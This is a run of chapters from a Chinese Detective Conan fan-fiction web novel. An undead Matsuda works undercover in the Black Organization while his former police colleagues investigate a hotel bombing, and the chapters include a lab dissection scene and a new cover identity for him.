“阿美尼亚克,怎么了?”琴酒的声音从耳机中传来。 “没事,”松田阵平面对这那个小破孩子,表情平静地说,“我有点小事情要处理。” 不知道想到什么,琴酒的声音稍稍顿了一下,才说道:“警察就在外面,我们要及时撤离,你别搞得太过分。” “啊。”松田阵平一边说着,一边把耳机扯下来,关掉扔在一旁。 [我还是很好奇我在他心里究竟是个什么形象。] “你耳机里面的是你的同伙吗?琴酒?还是伏特加?”江户川柯南用着一般小孩都不会有的语气问道。 “你怎么知道是我的?”松田阵平戴着墨镜问道。 “其实我一开始没有认出你,但是我从监控里看见了,你左颈侧的医用胶布和你苍白的肤色实在是太有代表性了。”柯南说道。 “觉得自己找到真相了是吗?觉得和我面对面站在这里一切就都结束了是吗?”松田阵平看着柯南平静地说,“你对组织一无所知,除了我,你根本就只知道琴酒和伏特加,所以你才敢这样冲上来,一副已经抓到我了的样子。” “我没有抓到你吗?现在警方已经把整栋大楼包围了,”柯南看了看表,说道,“啊,已经超过三分钟了,就在我们对话的这段时间,整栋大楼的住客应该都已经疏散完毕了,恭喜你,你的人质已经没有了。” [人质?] 【毕竟你是穷凶极恶的爆炸犯嘛。】 “那你是什么?”松田阵平问道。 “什么?”柯南一怔。 “难道你从来想过你自己成为人质的可能性吗?”松田阵平掏出手枪对着他说道。 柯南耸了耸肩,“我会尽力避免出现这种情况,但是如果非要有人质的话,我成为人质,总比这座酒店里700多名一无所知的客人和员工成为人质要更好一点。” “你也可以选择不上来碍事。”松田阵平说。 “没办法,既然已经猜到了你们的真实目的是杀了野泉先生的话,无论如何我也不能坐视这件事情发生。”柯南认真地说。 松田阵平深深地吐了一口气,说道,“这个人可能根本就不值得你去救。” “那是救下人之后再去考虑的事了,无论如何,救人都是一定要去做的。”柯南笃定地说道。 【你不是说要给他点记性吗?怎么还聊起来了。】 [我仿佛看到了几十年之后搜查一课的顶梁柱。] 【有可能他现在就是呢。】 [我在思考,作为一个穷凶极恶的组织成员,我该怎么给他点教训的同时,合理地不赶尽杀绝。] 【唔,稍等一下,就在刚刚,世界意志发生变动了。】 [嗯?] 【啊……】系统的声音第一次发出一种微妙的情绪来,【恭喜你,你不用思考了,因为刚才你和柯南的一番谈话,世界意志判定,由光明沦入黑暗的阿美尼亚克有一定概率被他触动,手下留情了。】 [你那什么用词,怎么我就触动了?] 【你没被触动吗?】 [这合理吗?] 【世界意志觉得这很合理。】 【可能这就是修正点吧。】 松田阵平深深地吐出一口气,“拖延的够久了,别废话了。” 话音刚落,松田阵平一矮身躲过一个电光四溢的易拉罐,然后揉身向江户川柯南袭去,几乎是一瞬间就欺身向前,和江户川柯南脸贴脸。 那只冰凉的手打在柯南后脑的时候,柯南听到了对方的低语:“黑衣组织比你想得要庞大太多了,骄傲的小鬼。” 柯南倒在地上,听见对方因愉悦而低笑了几声,“别忘了,我是见过你身边的人的。” 柯南心中涌起了巨大的恐慌,‘不可以,不行!’ 然而,后脑的麻痹带着强大的力量把他拖进了黑暗的昏迷之中。 [我还是想吓吓他。] ===== 7. 组织的吩咐与降谷零的报告 《不死者松田的二周目奋斗生涯》全本免费阅读 保时捷356A在路面上平稳的开着,琴酒不爱说话,波本一言不发,阿美尼亚克靠在车窗上当尸体,车内的气氛一片死寂。 但这一切都阻挡不了松田阵平逐渐上扬的心情。 【你的同期好像感到很愤怒。】 [那又怎么样?我是冷硬的阿美尼亚克。] 【告诉我,你不是在双关,当我求你了。】 松田阵平愉悦地挑了挑眉。 ====================================================================== “喂,还没有找到柯南君吗?”目暮警官对着对讲机大喊道。 “报告目暮警部,还没有找到,可能真的还在酒店里!”对面大声回到。 “可恶!”目暮警官攥紧了拳头。 □□处理班的警员拿着金属探测仪和大盾,正在酒店门口做最后的进入准备。 “听好了,虽然初步判断犯人设置的五枚炸弹都已经全数引爆,但是还不能确定有没有其他隐藏的炸弹或者建筑物倒塌的隐患,在进行排查的时候一定要注意安全!”萩原研二在门口认真地训话,“一旦发现可疑物品,立刻竖起盾牌退后10米呼叫拆弹指挥员探查具体情况,决不能自作主张,明白了吗?” “是!萩原警部补!”众人响亮地回答道 “另外,据搜查一课的同事提供的消息,这栋大楼里应该还有一名搜查一课的刑警、一个被保护人和一个孩子,在排查的时候,也要仔细寻找这三个人的下落。”萩原补充道。 “是!”众人再次响亮地回应。 “好,出发!”萩原研二点头,率先进入酒店大楼。 之前还人来人往的酒店大堂已经空无一人,萩原研二左右巡视,说道:“重点排查20楼、18楼,15楼,5楼和3楼。” 这是目暮警官刚才接到的工藤新一的电话,那位高中生侦探替他分析的结果。 “是!”众人答道。 “村上,你跟我走。”萩原对着一个长相普通的青年说道,这个人是由他指导的□□处理班的后辈 “萩原前辈。”村上跟在萩原研二身后犹豫着开口道。 “怎么了?”萩原研二一边回应,一边四处寻找着可疑的地方,平时温柔多情的眼睛在此刻显得格外锐利。 “刚才酒店爆炸之后,您突然回头看,是有什么发现吗?”村上小心地提问。 “啊……那个啊,”萩原研二回想起自己看到的那辆黑色的保时捷老爷车,“只是有一种,特别的感觉而已,可能是错觉吧。” “……诶?这样啊。” ========================================================= 终于开到据点的时候,天色已经漆黑了。 “波本,这次野泉贵志叛逃的原因还不明确,那位先生亲自吩咐,由你来调查。”下了车之后,琴酒说了自开车起的第一句话。 降谷零的心跳了一下,他又想到了贝尔摩德口中的权限,他之前一直都没有机会获取研究所的情报,这会是一个默许吗? “阿美尼亚克,你留下,我还有另外的事情要和你说。”琴酒说了他的第二句话。 阿美尼亚克单手推了下墨镜,“琴酒,你是什么留堂的小学老师吗?” “怎么?你还觉得自己上过小学了?”琴酒说道。 阿美尼亚克危险地眯起了墨镜后的双眼,随后咧开嘴笑道,“琴酒,我从阿布扎比一路转机到东京,累得半死不是为了听你做这种试探的。” “你才是,别装模作样了,你什么时候有累这种感觉了?”琴酒再次说道。 阿美尼亚克的脸彻底挂下来了,“琴酒你发什么疯?” “今晚在据点修整,明天我会派人送你去新的研究所,现在跟我下去,让我告诉你接下来的任务,这是那位先生的吩咐。” 波本看到当琴酒说出‘那位先生’的时候,阿美尼亚克深吸了一口气把波动的情绪都平复了下去,然后跟着琴酒走进了那间酒吧。 “波本,你可以走了。”这是琴酒走之前说的最后一句话。 波本看着两个人的背影,那个人即使是背影也是如此相似。 他低头看着自己的手掌,回忆着贝尔摩德、野泉贵志、还有刚才阿美尼亚克和琴酒的对话,阿美尼亚克和组织的研究所一定有关系。 波本看着自己把摊开的手掌攥成拳,他想,他确实拿到了那个许可了。 =============================================================== 【你不高兴吗?】系统问道。 [也没有,我只是觉得应该这么反应,这样比较像活人。] 松田阵平百无聊赖地跟在琴酒后面走进地下室的包厢里,和他面对面坐下。 坐下之后,琴酒开门见山第一句话:“雪莉叛逃了。” “……”松田阵平没说话,掏出一根烟用另一个打火机点燃,深深地吸了一口。 【你相当震惊。】 烟雾从呼吸道进入名为肺部的脏器,再在肌肉压缩下吐出,其实没什么感觉,这种动作更像是一种习惯。 [我下飞机这么长时间,居然没有一个人告诉我,]松田阵平沉郁地想着,[太棒了,这我可怎么和宫野明美交代?] 想起远在非洲,目前化名奥罗拉的财务小姐宫野明美,松田阵平突兀地感到头部一阵幻痛。 “什么时候的事?”松田阵平开口问道。 “五天前,”琴酒言简意赅,“她停止研究抗议宫野明美的事,组织把她关起来让她清醒一下,然后她就跑了。” “跑了?” “嗯,现场没有发现任何破坏的痕迹,门也是锁着的,但是人凭空不见了,现在上面怀疑组织里有人在帮助她,那位先生的意思是把这件事交给你和我,把这个人揪出来。” [抱歉,是我,可惜我还没来得及动手。]松田阵平想。 “我知道了,还有别的事吗?” “你今天晚上就在这里休息,明天有人接你去新的研究所,你需要调整一下了。” 松田阵平嗤笑了一声,掸了掸烟灰,没有说话。 ==================================================================== 深夜,公安警察降谷零的个人安全屋内,一阵有特殊间隔的敲门声响起,降谷零快步走到门口,打开房门。 下巴上留着稀疏胡渣的猫眼青年看见他,眼中就流露出笑意,他小心地关上门,才开口:“zero。” “hiro。”降谷零的眼中也浮现出了放松的温度。 “怎么,突然让我到这里,有什么紧急的事情要告诉我吗?”猫眼青年,诸伏景光说。 降谷零垂下双眼思索了一会儿,开口道:“我见到了阿美尼亚克。” “阿美尼亚克?”诸伏景光想了一下,“那个一 8. 神秘人的金属罩与尸检 《不死者松田的二周目奋斗生涯》全本免费阅读 色泽鲜红的金枪鱼排,涂抹上新鲜的柠檬汁和碾碎的小茴香,淋上橄榄油,在平底锅上两面煎熟,是口感与牛排非常近似的一种鱼肉料理。 闻着食物的香气,降谷零有一种紧绷的神经被慢慢捋顺的感觉。 米饭煮好了,降谷零拿了碗把饭盛出来放在小餐桌上,两个人面对面坐下,拿起筷子捧起碗,同时长出了一口气。 虽然这么说不太好,但是隔一段时间和hiro小聚一次,对于降谷零来说可能抵得上五次心理援助。 诸伏景光刚刚看了降谷零收到的报告,随后一边做饭一边陷入沉思,这下端起饭碗,他终于开口说,“zero,你还记不记得三年前……” “啊……”降谷零应道。 3年前的11月,诸伏景光和降谷零分别收到了一封匿名邮件,还附带了程序阅后即焚,而里面的内容,是清清楚楚的一整套诸伏景光在警视厅内部按理说应该被严密保护的档案。 不提当时两人是多么惊骇,降谷零几乎是当天就亲自着手安排了诸伏景光撤离的方案A到方案Z,还是诸伏景光稳住了降谷零,提议说先观察一下。 然后两个人就发现了,组织内部风平浪静,对于此事毫不知情,对方似乎就是想用这么极端的方式告诉他们,诸伏景光的档案保密出了问题。 怀疑是警视厅出了内鬼,降谷零当天立刻打报告通过紧急联系人把诸伏景光的档案调到了自己这边的警察厅。 接下来的一整个月,降谷零都在和那边合作排查内鬼究竟是谁,最后查出来并控制住那个人,并且得知那个人真的计划着把诸伏景光的身份向组织透露的时候,降谷零几乎是虚脱了一样在出租屋里一动不动地过了整个新年。 这样一件想起来就后怕的事件能够这样有惊无险地度过,都是多亏了那一封匿名的邮件。 “你觉得,会是他么?”诸伏景光思索着说。 “不能确定,但是我会搞明白的。”降谷零确定地说。 他现在接到的任务是一个突破点,说明组织打算给他一个更进一步的机会,无论是研究所、阿美尼亚克还是……松田阵平,这都是搞明白一切的契机,而他一定会好好利用这一点。 =================================================================== 排查了炸弹,找到了晕倒的搜查一课的同事,找到了死在卧室里的研究学者,找到了不知道为什么晕倒在了楼道里的小孩。 萩原研二在空荡荡的酒店的大楼中,一边听队员的汇报,一边在心里给待办事项打勾,只有这样他才能保证他能继续做他该做的事。 他看到了那些□□残骸,炸得很彻底,大部分都只剩下一些碎裂的外壳破片。 但是…… 萩原研二的脑海中出现了那个并没有完全被完全熔化的小小的组件,真的太小了,还很不常见,一般人都不知道这是用来做什么的,所以一定会忽略掉吧。 萩原研二看着自己找到的那个只有小指甲盖大小的漏斗样的金属罩想到:可是只有萩原研二不会忽略它。 年轻的卷发警校生把手里的石头‘咚’的一声扔向水面,嘴角弯起一个得意的弧度。 “喂,hagi,你看,这个水面。” 萩原研二闻言向水面看去,石头砸进水里,水面形成了一个空洞,然后水又迅速向空洞中心闭合,发生碰撞,向上抛出。 “你看,只要制造一个垂直的空洞,那能量就会这样聚集起来,然后集中地向外抛射,不就可以控制爆炸的能量向一定的方向运动了吗?”对方凫青色的眸子和自信的笑容在夕阳下仿佛在发光。 “嗯,小阵平真的好厉害!”萩原研二相当捧场地鼓掌夸赞道。 然后对方就涨红了脸,没好气地说,“你根本没在认真听吧。” “有哦,小阵平天才的理念,研二我可是非——常认真地在倾听哦!”萩原研二捧着脸笑眯眯地说。 萩原研二总觉得,那个时候好像世界都安静下来了,衬得他讲话好像特别吵闹、特别开心。 那样的一幕距离现在已经过去7年零3个月了。 “……萩原前辈,萩原前辈?” 萩原研二回过神来,看向眼前的后辈,“什么事?” “报告前辈,整栋大楼已经全部排查完毕,已排除安全隐患,受困人员也已经全部解救完毕。”村上大声地说。 萩原研二点点头笑着拍了拍后辈的肩膀,“不错,记得回去把报告写一份,收队吧。” 村上立时挺直了腰板,大声回答道:“是!” ==================================================== 松田阵平罕见地做了梦。 梦里他坐在自己的墓碑上,周围是一片漆黑,但是他的面前果然还是有那一团白色的光球。 他看见自己跟那个白色的光球说了什么,也看见了那团光球随后的闪烁。 然后他看见自己抬头看去,所以他也跟着抬头看去。 他知道自己会看见什么,那是铺天盖地的黑色和红色,扭曲的线条像纠缠的血肉一样虬结,这些线条像旋涡一样向中间的某一个点盘绕,在那些扭曲的线条中,无数沉浮的光点在其中被吞噬、禁锢,无法解脱。 第二天早晨,休息了一夜的松田阵平走出了据点,已经有一辆车停在了门口。 司机下车替他拉开车门,非常礼貌地请他上车。 松田阵平看着完全陌生的司机的脸,问道,“石川呢?” “抱歉,阿美尼亚克,新研究所的地址还不是石川君可以知道的。” 松田阵平点点头,上车关上了车门。 [新的一天,尸体M君即将迎来一年三度的尸检。] 【真不想理你。】 【你好像不怎么反感他们给你做的检查?】 [还好吧,真要算起来我也算是半个自愿的大体老师,如果能借此获得那位的信任,找到接近他的办法,那有什么不好呢?] 【你的同期和发小肯定觉得这样特别不好。】 [我哪有同期和发小?我是穷凶极恶的阿美尼亚克。] 【自欺欺人。】 [你最近真的话特别多。] 到了研究所,松田阵平换了一身雪白的病号服,病号服和他自己的皮肤看不出哪个更白。 他伸出胳膊看着机械臂控制着针头扎进他手臂上的静脉,浓稠发黑的血液就黏糊糊地流了出来,缓缓地落到试管底部。 一、二、三、四、五、六、七、八。 连续抽了八 9. 心跳加速的时刻与最后的回想 《不死者松田的二周目奋斗生涯》全本免费阅读 冰凉的手指隔着橡胶手套抚摸着松田阵平的肺叶,盘尼西林开口,语气是明显的不快:“阿美尼亚克,你怎么又抽了那么多烟?” “对不起,”松田阵平条件反射地说,然后他缓了一下,又说道,“可是那位先生吩咐,我可以自己决定我的生活方式。” “嗯,我知道。”盘尼西林依旧抚摸着那片肺叶,这次,他的声音听不出来是高兴还是不高兴了。 其实那位先生的吩咐一点都不难理解,组织里所有的研究成果最终都是要献给那位先生去延续他的生命的,但是,生命要延续的有质量,如果研究成果实际应用了之后其实就是跟小白鼠一样,住在无菌室里,吃些单调又正确的食物,战战兢兢地维持所谓的健康,那还有什么生活的趣味可言呢? 所以,作为组织现存最重要的两项研究的实验体,阿美尼亚克和贝尔摩德,私下里就是烟酒都来,一点儿也不耽误。 接着肺叶被拨开,橡胶手套抚摸向了缓慢跳动的心脏,这样慢的搏动速度,如果出现在医院的心电图上,可能会引起医护人员的尖锐爆鸣,直接把人送进抢救室,然后直通ICU,然而盘尼西林只是用手触摸着那有点灰白的心脏外壁,认真又着迷地数着心跳。 [我一直怀疑其实根本没必要一年把我剖开那么多次,他剖我只是因为他想看。] “阿美尼亚克,”盘尼西林的语气中出现了诡异的喜悦,“你知道你的心跳比之前快了一点吗?” 松田阵平一愣,茫然地看向盘尼西林。 也许是被这种神情取悦到了,盘尼西林安抚地拍了拍松田阵平断开的胸骨截面,欣慰地夸奖道,“每分钟18下,比以前有进步了。” 松田阵平的大脑一片空白,他的头不受控制地向胸腔低去,想要看清楚到底是怎么回事,然后又被盘尼西林温柔地扶着下巴推了回去。 [系统,你不是说我的状态是恒定的吗?] 【……】 [说话!这种时候你就别装死了!] 【我在排查。】系统干巴巴的声音终于冒出来。 [那你排查出什么来了?] 【先说一个好消息,这不是因为组织对你这条线的研究真的有了实质性的突破,这一点我们可以放心了。】 [坏消息呢?] 【你确实现在依然是以尸体和微弱循环的形式被锚定在非生非死的状态下的存在,可是出现心跳加速的原因,我还没找到。】 [哈?] 【总之最担心的情况没有发生,可以松口气,然后我还会继续排查的,你别害怕。】 松田阵平刚要在心里反驳,就被腹腔诡异的触感分了神。 盘尼西林轻柔地抚摸检查了腹腔的每一个脏器,像哄小孩一样温柔地说,“嘘,阿美尼亚克,不要紧张,这是好事,交给我就好。” 松田阵平一时失语,盘尼西林一边捡取脏器观察,一边吩咐旁边的人进行记录,很快就结束了这一次的常规检查。 脏器全部归位,重新放置固定好胸腔骨,缝合肌肉,缝合皮肤,最后松田阵平的身上只留下了一个巨大的竖直伤口,又被洁白的纱布一圈一圈细致地包扎了起来。 盘尼西林脱下手套,摸了摸松田阵平冰凉的头发。 “乖孩子,辛苦你了,先睡一会儿,待会儿我们把剩下的调试部分一口气做完。” 刚刚被剖开时都分外清醒的松田阵平,听见这句话后很快便昏昏沉沉地睡了过去。 ============================================================= 房间没开灯,窗户没拉窗帘,萩原研二躺在床上,睁着眼睛漫无目的地,窗外东京的夜空被霓虹灯染成橘色和紫色。 他手里攥着那个他偷偷藏起来的金属罩。 11月5日。 和小阵平参加了入职以来第一次健康体检,小阵平检查过后似乎情绪不是很高,我第一次看见那么多项目的免费体检,夸张地和小阵平感慨了好久公务员的共济医保,好耶,成功把小阵平逗笑了。 小阵平提议晚上去老地方一起喝一杯,那当然是同了个意啦! 不知不觉喝了很多,突然发现小阵平一直在看我,最后小阵平给了我一个拥抱。 11月6日。 昨天晚上好像喝得太多了,不知道什么时候居然还把卧室的窗户打开了,早上起来就发起了烧。 小阵平做了早饭,买了药,替我请了假,让我好好休息。 睡了一整天。 晚上睡醒的时候看见小阵平就坐在床边,房间没开灯,小阵平在黑暗里看起来很沉默。 小阵平说:hagi你要好好照顾好自己啊。 哎呀,我有小阵平呀,而且明明平时都是我照顾小阵平的。 小阵平说:hagi你要注意安全。 嗯?难道说我突然发起烧来,让小阵平这么不安嘛? 小阵平说:hagi明天的假我也帮你请了,你好好在家休息。 好哦。 ‘hagi。’ ‘怎么了嘛?’ ‘没事我就叫叫你。’ ‘小阵平今天这么粘人呀。’ ‘少啰嗦,你好好休息吧!’ 然后就又睡过去了。 11月7日。 早上,吃了小阵平煮的粥,吃了药,看他推门去上班,临走前,小阵平回头看了我一眼。 依旧发烧,迷迷糊糊。 难得在家请病假,悠闲悠闲,下午睡了一觉。 没有心灵感应,什么也没有,电影里的那些桥段全都是骗人的。 把那该死的觉睡醒了甚至都是尘埃落定两个小时以后的事情了。 打开电视,看见了爆炸案的重播。 11月8日。 回到警视厅,听他们说没有找到松田阵平的遗体,但可以判定他已经死了。 没有遗体凭什么就判定人已经死了? 萩原研二不相信松田阵平死了。 ============================================================ 深夜,组织的另一处据点,波本和伏特加打了个招呼。 经常流窜在组织的各个据点和人交流情报,是一个身为情报人员和卧底的基本素养。 “最近都没看你在琴酒身边,忙什么呢?”波本在伏特加身边坐定,给自己倒了一杯威士忌。 “啊,”伏特加含糊地说道,“有点别的事。” 喜欢的爱豆要开演唱会了,于是拼死拼活干了三个月才鼓足勇气向大哥请了三天的假全身心沉浸在爱豆的歌声里,这种事 还是不要让波本知道了。 “话说,阿美尼亚克回到日本了,你对他有什么了解吗?”波本随口问道。 伏特加摇摇头,老实地说,“没有什么了解。” “诶,这样啊,我看他老是和琴酒针锋相对,琴酒好像也没有很生气,还以为你知不知道什么内情呢。”波本故意夸张地说。 “啊,那个啊,”伏特加回忆起来,“大哥还真的说过这个事情……” 10. 修理店与伊达前辈 《不死者松田的二周目奋斗生涯》全本免费阅读 两天后,松田阵平一身黑西装,戴着黑墨镜,走出酒吧据点门口,满足地吸完了一整支烟。 脑电波的调试其实只用了三个小时,剩下的时间是为了让他的伤口基本愈合,硬是被绑着躺了两天。 现在除了被剪开的胸骨还没有完全长好,那道深长的切口已经完全愈合,只剩下一道缝合的疤痕,而这道疤痕也会在接下来的10天内渐渐淡去。 有的时候,松田阵平会对盘尼西林产生不必要的怜悯,他的那一套研究如果换成另一个适配的实验体,可能真的可以研究出什么来,但是松田阵平不是。 也许盘尼西林密密麻麻的实验数据和日志都解释了松田阵平现在的情况是因为实验药物、生物电流等等杂七杂八的一堆东西,但是现实就是,松田阵平能动、能说、能思考,纯粹只是因为他的精神体可以忽视身体的状况,几乎完全地操控他身体的一切行动,这种原理通俗来讲叫做‘鬼上身’。 一般来说,普通人的身体与精神的关系,大部分是身体更能影响精神,强大的人,能反过来让精神影响身体,但比例也无外乎是你四我六或者你六我四的区别,但是因为松田身体的极端情况和系统的帮助,松田的身体和精神对彼此的影响力,可以失衡到极端的一比九。 也就是说,即使现在罗织在他大脑皮层的电极和金属丝一刻不停地释放生物电,让他忠于组织、忠于BOSS,松田阵平依然可以用强大的精神体强行接管这具身体的一切行为,快乐地窝里反。 关闭电极后,这具身体所表现的一切认知功能丧失,其实也只是松田阵平在同时放弃了身体的控制权而已。 也许在遥远的未来,这也是科学的一种,但是现在,这连柯学都不是,是纯粹属于玄学的领域。 酒吧据点马路对面停着一辆黑色马自达,松田把烟头扔进街边的垃圾桶,走过马路,坐了进去。 驾驶座上坐的是那天去接他下飞机的石川。 “送我去我新身份的住处吧。”松田说完又给自己点了一支烟。 石川点点头,起车上路。 “雪莉怎么回事?”松田问道。 车内的气氛一下子变得有点紧张了起来。 “明美小姐那件事发生了之后,雪莉反应很大,比较激动。”石川斟酌地说。 “我不是让你们稳住她吗?”松田抽了一口烟,“必要的时候可以暗示她姐姐的事。” “……是,但她太激动了,组织……也很重视她,在我们想到方法接触她之前,她就已经被组织控制住了。” 松田阵平用拇指揉了揉眉心,感觉到头部一阵熟悉的幻痛。 “知道她怎么跑的吗?” 石川沉默。 “知道她现在在哪吗?” 石川继续沉默。 “有大概的方向吗?” “我们只知道雪莉好像是人间蒸发了一样,突然从组织的毒气室逃脱,现在组织和我们都完全没有发现任何关于她的消息。” “得在组织之前找到她。” “是。” 松田阵平揉着眉心长叹了一口气,“好吧,我来想办法。” 接下来一路上,两个人都没有说话,松田靠在后座靠背上,有一口没一口地抽着烟,刚从研究所里放出来的畅快感也随着 思考一件件麻烦事,慢慢燃烧殆尽。 终于,车停在了一个居民区的小巷子里,松田阵平下车,看着面前的修理铺,旁边写着门牌号。 米花町4丁目44番地。 “怎么回事?”松田阵平问,“我记得我要的新身份不包括修理铺店主吧?” “是明美小姐走之前替你安排的,她觉得你住在这里可能会比高级公寓更舒服些。”石川在他身后回答道。 松田阵平看着眼前这个小二层楼的和式店面,门脸很小,‘神奈修理店’的木制招牌就钉在门边,门口摆着一辆还在修理中的旧自行车,格子拉门关着,上面挂了个小牌子写着‘外出中’。 松田阵平走上前,摘下外出牌子,拉开门,里面是一张木制的小桌子,桌子上有一盏台灯,桌面上好几组螺丝刀头码在一边,桌子侧边挂着一排大小不一的扳手和改锥,几个工具箱在桌子底下一个叠一个,还有电线、轴承、煤油。 墙上挂着好几个不同型号的钟表,滴滴答答地走着,地上零散地摆放着音响、收音机、相机,各种各样的机械热热闹闹地挤在这一个修理铺子里,好像是什么小装置乐园。 整个店面就像是松田阵平小时候常带着萩原一起探索的老修理店一样,而店主就好像只是临时有事出去了一小会儿,很快就会回来。 松田阵平进门,走到桌子边,一张便签躺在上面,松田阵平拿起那张便签,上面写着: ‘休息,休息一下!’还画了个表情苦恼的小和尚。 松田的表情渐渐放松,抬起头兴致勃勃地四下打量起来。 石川看着松田的表情,自己也笑了起来,“这是明美小姐精心设计的店面,嘱咐我们一定要布置好送给你。” “啊,真的挺不错的。” 一楼的尽头有木制的阶梯,阶梯旁边是小小的厨房和洗手间,阶梯上方是二楼的生活区,松田阵平爬上去看了一下,是个六叠半的卧室,铺着榻榻米。 “我平时就住在这里。”松田阵平笃定地说。 “简单的装置改造这里的东西就够用了,如果有其他技术需要,我再去公司里做,”松田说完又重复了一遍,“我平时就住在这里。” 从二楼爬下来,阶梯下方有一个木门,上面带着藏蓝色的粗布帘子。 松田阵平掀起帘子,去推木门,没推开。 “呃,”石川在旁边插话,“这个门上面有一个小挂钩,可以,掰一下。” 松田阵平狐疑地看了一眼石川,伸出手掰了一下门上的挂钩。 忽然机括声响起,木门向地下沉去,一道银白色的带着虹膜指纹智能锁的金属安全门露了出来。 松田阵平回头,墙上的时钟还在滴滴答答地走着,午后的阳光通过拉开的门斜射进店面里;往前看,森冷的金属安全门的智能锁上还发着相当高科技的幽蓝色的光。 [这什么啊?这跟假面超人秘密基地入口一样的东西?] 【有可能你进去就能看见一辆摩托车,然后发现自己多了一个叫夏目玲的女朋友,然后你就要冲出去和宇宙人战斗了,第一个要打的就是鼹鼠星人。】 [为什么你对假面超人的剧情这么熟悉啊?我过了小学都没有再看了。] [你怎么又不说话了?] 松田阵平尝试着把手指摁在识别区,果然,智能锁已经提前录入了他的指纹信息,发出滴的一声,门应声而开,眼前是一个电梯。 走进电梯后,直达地下一层,那是一个不大的工作间,四面都是冰冷的银色金属墙壁,墙壁上焊了许多架子,松田阵平之前要求放在他据点里的枪支弹药、辅助器械,分门别类整整齐齐,中间一个崭新的金属工作台 11. 一波三折的居酒屋 《不死者松田的二周目奋斗生涯》全本免费阅读 【你别咳了,再咳你骨头又要断了。】 【你还不如刚才就在毛利家楼下吃点儿什么呢,反正大不了就是凶杀案。】 [闭嘴。] “诶?这不是神奈先生吗?好巧啊,在这里遇见你。”高木说。 “神奈先生?”高木口中的伊达前辈问道。 “啊,是的,是之前和目暮警部、还有佐藤刑警一起出的机舱洗手间毒杀事件,当时神奈先生在场帮了大忙呢。”高木笑着说。 [作为重要嫌疑人。]松田终于从咳嗽中缓过来,心里吐槽道。 “哦,是这样啊,”伊达爽朗地笑着走到了吧台边上,伸出手,“初次见面,我是伊达航,也是一名警察。” 松田阵平坐在吧台前,余光透过墨镜瞟到了伊达航伸出来的手,一秒、两秒、三秒。 高木涉有点尴尬地说:“啊,神奈先生好像不是特别喜欢和警察有交流……” 松田阵平叹了一口气和伊达航握了手,说道:“初次见面,神奈信利。” 高木涉被噎住了。 伊达航笑得更爽朗了,露出了叼着牙签的两排牙齿,他用拇指示意了一下旁边的小桌子,说道:“我和神奈先生一见如故,要不我们去旁边一起喝一杯吧。” 松田阵平又叹了一口气,“这就不用了。” 【现场气氛真的很尴尬。】 [闭嘴!] 然而伊达航就这样非常自然地拉开椅子坐到了松田阵平旁边,还拍了拍身边的位置对高木说,“那我们就坐在这吧。” 说完,又回头对松田阵平说,“你不介意吧。” 高木涉狐疑地看了看自来熟的前辈和满脸不熟的神奈信利,思索了片刻,心里突然亮起了一个小灯泡。 难道说,这个神奈信利是伊达前辈手里哪一个案子的重要线索吗? 想到这里,高木涉突然非常配合地坐在了伊达航的旁边,笑着对神奈信利说,“那我们就打扰啦。” [这饭我不想吃了,我想赶紧走。] 【那样就更可疑了。】 [可疑就可疑,这种巧合难道还会发生第二次吗?] 【那可不一定。】 什么叫做如坐针毡,松田阵平可算是体验到了。 在黑衣组织呆久了,习惯了这帮人一句话藏八个潜台词,暗中观察,偷偷试探,连金发大老师都是这个路数,就很难适应班长这种,一上来就分外爽朗的‘我们先做个朋友吧’的打法。 这就是行走在阳光下的正义警察吗?真是恐怖如斯。 “神奈先生是做什么工作的呢?”伊达航问道。 “我记得神奈先生是一个公司的爆破专家……”高木回忆道。 “一个修理铺老板。”松田阵平回答。 “诶?那神奈先生之前给我的名片是……?”高木惊讶道。 “爆破专家?”伊达航若有所思。 “那是我接的私活,因为干的太好了,所以公司给我印了个名片。” “到底是干的多好才能让会社做到这种地步啊?”高木不自觉地吐槽道。 “哈哈哈,你们两个很适合去讲漫才嘛。”伊达航笑了起来。 正在场面十分混乱之际,门口的拉门又‘咔啦啦’地打开了。 一个老年人的声音从门口传来,好像是在讲电话,“小兰,不要这么说嘛,我很喜欢和孩子们在一起的,我带他们吃过饭之后,就让柯南在我家住一晚上,你就安心照顾毛利先生吧。” 紧接着,一群孩子叽叽喳喳地冲进来,抢占了店里的一张桌子。 其中一个长得相当壮实的男孩子大喊道:“好饿好饿,我要吃鳗鱼饭!” 然后另一个稚嫩的声音接过电话,含糖量极高地撒娇道:“嗯嗯,小兰姐姐不要担心,今晚我就在阿笠博士家住啦。” 松田阵平沉默了一会儿,在心里说,[按照世界规则,待会儿不会发生爆炸吧?] 【不要讲那么晦气的话。】 松田阵平叹了今天晚上的第三口气,认命地看向分外热闹的门口。 江户川柯南显然也发现了他,捧着手机,一脸紧张,他的声音也低沉了下来:“啊,小兰姐姐,那就这样,我们先吃饭了。” 而柯南的身后,一个咖啡色短发的女孩攥着阿笠博士的衣服下摆,满脸恐惧地看向他。 [诶?] 【哦豁。】 [这该不会是……雪莉吧?] 【高度疑似。】 [她姐姐以前给我看过她小时候的照片,就是她。] 想了一上午这人在哪,结果吃个饭就碰到了,这个世界就这么小吗? [世界扭曲度真的没有变化吗?看她这个样子,APTX研究线明明已经有成果了啊。] 【目前没有监测到。】 松田阵平感到费解地皱了皱眉头,明明大脑都不怎么能用了,结果最近头疼的时候越来越多,真是鬼故事。 松田阵平深吸一口气,总之先要稳住雪莉,向她表达一下善意,然后再找机会跟她接触一下吧。 想到这里,松田阵平向雪莉露出了一个微笑。 雪莉看起来怕得快要哭出来了。 松田阵平收敛了笑容,又喝了一口茶水,想到,[要不我还是先走吧,我在这,这帮小孩儿可能连饭都吃不好了。] “客人,您的生拌牛肉好了!”一盘鲜红的肉类被放在了松田阵平的面前。 [……可是我饿了。]松田阵平犹豫了一秒,还是掰开筷子吃了起来。 然后下一秒,他就被旁边探头的小孩儿吓了一跳。 “诶,好可疑。”长相壮实的男孩眯着眼看向他。 “元太!”柯南一脸紧张地大喊,“快过来!” “干嘛突然喊那么大声啊,柯南,”元太喊了回去,然后哒哒哒跑到柯南旁边,自以为很小声地说,“你看这个人,脸白白的,还在吃生的肉,像不像美国的恐怖电影里的吸血鬼啊。” “元太,老师说不可以这样说别人哦。”步美小声地提醒道。 “而且,吸血鬼是吸血的,吃生肉的话,明明是僵……”光彦也在旁边小声地加入讨论。 “咳咳!”伊达航突然大声咳嗽了一下。 三个小孩吓了一跳,然后就看到伊达航黑着脸吓唬他们说,“步美说得对,不可以这样说别人哦。” “伊达警官!”三个小孩一同叫了起来。 “快跟这位哥哥道歉。”伊达航严肃地说道。 “没关系,我肤色确实容易吓到人。”松田阵平没所谓地说。 